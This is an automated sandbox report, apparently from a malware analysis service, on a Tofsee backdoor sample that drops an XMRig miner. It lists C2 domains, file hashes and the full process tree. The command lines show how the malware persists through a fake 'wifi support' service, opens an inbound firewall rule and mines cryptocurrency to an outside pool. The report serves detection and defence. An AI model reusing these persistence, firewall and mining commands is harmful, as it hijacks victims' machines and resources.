Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/01/2023, 00:31

General

  • Target
    file.exe
  • Size 354KB
  • Sample230108-at2tmsae51
  • SHA256 e2b63164df8e83c3955bbd78c696f17dce0be132338e37e33307dba99a6d12e0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4372
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jlqlpfvh\
      2⤵
        PID:5096
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hnfuzsj.exe" C:\Windows\SysWOW64\jlqlpfvh\
        2⤵
          PID:4624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jlqlpfvh binPath= "C:\Windows\SysWOW64\jlqlpfvh\hnfuzsj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4424
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jlqlpfvh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4516
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jlqlpfvh
          2⤵
          • Launches sc.exe
          PID:2836
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:476
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 1028
          2⤵
          • Program crash
          PID:3084
      • C:\Windows\SysWOW64\jlqlpfvh\hnfuzsj.exe
        C:\Windows\SysWOW64\jlqlpfvh\hnfuzsj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3868
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3088
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4196
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3868 -s 508
          2⤵
          • Program crash
          PID:2548
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4372 -ip 4372
        1⤵
          PID:868
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3868 -ip 3868
          1⤵
            PID:4652

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                hnfuzsj.exe

                • Path C:\Users\Admin\AppData\Local\Temp\hnfuzsj.exe
                • Size 14.8MB
                • SHA256 2edbba5359c00d467a8c41f9119420ae365ee88e874ee94977cbc8180992af8f
                • MD5 SHA1 SHA512 SSDEEP

                hnfuzsj.exe

                • Path C:\Windows\SysWOW64\jlqlpfvh\hnfuzsj.exe
                • Size 14.8MB
                • SHA256 2edbba5359c00d467a8c41f9119420ae365ee88e874ee94977cbc8180992af8f
                • MD5 SHA1 SHA512 SSDEEP

                memory/3088-157-0x0000000001F70000-0x0000000001F76000-memory.dmp

                memory/3088-163-0x0000000001FD0000-0x0000000001FD5000-memory.dmp

                memory/3088-169-0x0000000001FE0000-0x0000000001FE7000-memory.dmp

                memory/3088-166-0x0000000007800000-0x0000000007C0B000-memory.dmp

                memory/3088-160-0x0000000001F80000-0x0000000001F90000-memory.dmp

                memory/3088-154-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/3088-153-0x0000000000C00000-0x0000000000C15000-memory.dmp

                memory/3088-151-0x0000000000C00000-0x0000000000C15000-memory.dmp

                memory/3088-146-0x0000000000C00000-0x0000000000C15000-memory.dmp

                memory/3868-152-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/3868-148-0x00000000032E8000-0x00000000032FE000-memory.dmp

                memory/3868-150-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/4196-173-0x0000000000431000-0x0000000000502000-memory.dmp

                memory/4196-174-0x0000000000430000-0x0000000000521000-memory.dmp

                memory/4196-178-0x0000000000430000-0x0000000000521000-memory.dmp

                memory/4372-143-0x000000000304D000-0x0000000003063000-memory.dmp

                memory/4372-133-0x0000000004C10000-0x0000000004C23000-memory.dmp

                memory/4372-134-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/4372-132-0x000000000304D000-0x0000000003063000-memory.dmp

                memory/4372-144-0x0000000000400000-0x000000000301B000-memory.dmp